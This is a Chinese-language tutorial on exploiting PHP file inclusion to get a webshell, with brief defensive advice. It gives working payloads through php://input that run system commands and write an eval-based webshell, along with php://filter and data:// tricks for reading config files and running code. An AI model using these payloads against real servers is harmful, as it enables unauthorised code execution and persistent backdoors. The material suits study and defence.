通过PHP文件包含,实现getshell
字数 1109 2025-08-10 21:10:14
PHP文件包含漏洞利用与Getshell技术详解
一、PHP文件包含基础
PHP提供了以下几种文件包含函数:
- include():找不到被包含的文件时会产生警告(E_WARNING),脚本将继续执行
- require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
- include_once()/require_once():与上述函数类似,区别是如果文件代码已经被包含,则不会再次被包含
二、PHP伪协议概述
利用文件包含漏洞时,PHP内置的伪协议是重要的攻击向量:
- file:// - 访问本地文件系统
- php:// - 访问各个输入/输出流
- data:// - 数据(RFC 2397)
- zip:// - 压缩流
- phar:// - PHP归档文件
三、php://input伪协议利用
利用条件
- PHP配置中
allow_url_include = On - 目标使用文件包含函数加载用户可控的输入
常用攻击Payload
1. 使用include()函数
执行系统命令:
<?php system("dir"); ?>
写入Webshell:
<?php file_put_contents("shell.php", "<?php eval(\$_GET[a]); ?>"); ?>
替代写入方法:
<?php fwrite(fopen("shell.php", "w"), "<?php eval(\$_GET[a]); ?>"); ?>
或使用fputs():
<?php fputs(fopen("shell.php", "w"), "<?php eval(\$_GET[a]); ?>"); ?>
2. 使用include_once()函数
同样适用上述payload:
<?php fputs(fopen("shell.php", "w"), "<?php eval(\$_GET[a]); ?>"); ?>
<?php file_put_contents("shell.php", "<?php eval(\$_GET[a]); ?>"); ?>
3. 使用require()函数
<?php fputs(fopen("shell.php", "w"), "<?php eval(\$_GET[a]); ?>"); ?>
4. 使用require_once()函数
<?php file_put_contents("shell.php", "<?php eval(\$_GET[a]); ?>"); ?>
四、关键函数解析
-
file_put_contents()
- 功能:将字符串写入文件
- 行为:文件存在时覆盖写入,不存在时先创建再写入
- 注意:
$符号需要转义为\$
-
fopen()
- 模式:
r:只读,文件不存在时报错w:写入,文件不存在时创建
- 模式:
-
fwrite()/fputs()
- 语法:
fwrite(file, string, length) - 功能:将内容写入打开的文件
- length参数可选
- 语法:
五、防御建议
-
关闭不必要的PHP配置:
allow_url_include = Off allow_url_fopen = Off -
对用户输入进行严格过滤,避免直接包含用户可控的文件路径
-
使用白名单机制限制可包含的文件
-
定期更新PHP版本,修复已知漏洞
六、其他利用方式
当php://input不可用时,可尝试其他伪协议:
-
php://filter - 用于文件读取
php://filter/convert.base64-encode/resource=config.php -
data:// - 直接执行代码
data://text/plain,<?php phpinfo();?> -
phar:// - 利用压缩包特性
七、实战注意事项
- 测试前确认目标PHP配置是否满足利用条件
- 写入Webshell后通常需要访问写入的文件路径进行验证
- 某些环境下可能需要尝试多种payload
- 注意特殊字符的转义处理
通过深入理解这些技术原理,安全研究人员可以更好地评估系统安全性,而开发人员则可以更有针对性地加强防御措施。